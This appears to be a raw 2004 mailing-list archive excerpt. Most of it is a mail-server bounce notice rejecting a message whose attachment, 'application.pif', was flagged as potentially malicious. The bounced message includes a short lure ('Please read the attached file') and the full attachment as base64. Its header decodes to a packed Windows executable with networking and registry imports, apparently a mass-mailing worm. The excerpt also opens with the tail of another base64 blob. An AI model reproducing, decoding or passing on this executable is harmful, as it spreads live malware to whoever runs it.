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 ------=_NextPart_000_0004_00004A74.00006A8C-- From Mailer-Daemon@server.chillisauce.co.uk Sun Mar 28 11:30:24 2004 From: Mailer-Daemon@server.chillisauce.co.uk (Mail Delivery System) Date: Sun, 28 Mar 2004 10:30:24 +0000 Subject: [blml] Mail delivery failed: returning message to sender Message-ID: This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: forum_master@chillisauce.co.uk This message has been rejected because it has a potentially executable attachment "application.pif" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. ------ This is a copy of the message, including all the headers. ------ Return-path: Received: from [82.33.169.205] (helo=chillisauce.co.uk) by server.chillisauce.co.uk with esmtp (Exim 4.30) id 1B7XYc-0007U3-Lc for forum_master@chillisauce.co.uk; Sun, 28 Mar 2004 10:30:22 +0000 From: blml@rtflb.org To: forum_master@chillisauce.co.uk Subject: Re: Your software Date: Sun, 28 Mar 2004 11:30:27 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0010_00006AF2.0000298D" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0010_00006AF2.0000298D Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Please read the attached file. ------=_NextPart_000_0010_00006AF2.0000298D Content-Type: application/octet-stream; name="application.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="application.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 